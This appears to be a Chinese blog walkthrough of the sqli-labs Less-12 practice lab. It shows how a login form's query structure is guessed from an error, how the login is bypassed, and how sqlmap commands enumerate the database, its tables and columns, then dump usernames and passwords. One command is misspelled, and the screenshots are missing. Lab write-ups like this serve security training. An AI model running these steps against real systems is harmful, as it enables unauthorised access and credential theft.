**打开bp抓包**

**发送至Repeater，添加 \\ 进行测试**

根据报错：`222")` 猜测查询语句：

> **select uname, passwd from table where uname=(“xxxx”) and passwd=(“xxxx”)**

**根据猜测进行注入：**

成功登陆。

## 使用sqlmap进一步测试 ##

**复制截取的数据包在kali中保存为新文件 sqli-labs-12**

**使用以下命令进行测试：**  
`sqlmap -r sqli-labs-12 -p uname`

发现无法与服务器建立连接，在思考后发现，截取的数据包中主机为 localhost ，而复制进kali后，就应该将 主机修改为 服务器的 ip ：192.168.0.104

**再次连接，成功**

继续，奥里给，干了！

还是刚才的查询语句  
`sqlmap -r sqli-labs-12 -p uname`

其中 -r 表示从文件读取数据（read）  
\-p 表示用于注入的参数

**查看扫描结果：**

出现了基于报错的注入，继续利用该类型的注入，指定注入类型为 error-based ，查询库内容

**指定注入类型 E （error）**  
`sqlmap -r sqli-labs-12 -p uname --technique E`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 7]  
**查询当前数据库**  
`sqlmap -r sqli-labs-12 -p uname --technique E --current-db`  
![在这里插入图片描述][20200116192421696.png]  
**查询 security 库中的表**  
`sqlmap -r sqli-labs-12 -p uname --technique E -D security --tables`  
![在这里插入图片描述][20200116192707504.png]  
**查询 users 中的字段**  
`qlmap -r sqli-labs-12 -p uname --technique E -D security -T users --columns`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzOTY4MDgw_size_16_color_FFFFFF_t_70 8]  
**查询字段内容**  
`sqlmap -r sqli-labs-12 -p uname --technique E -D security -T users -C "username, password" --dump`
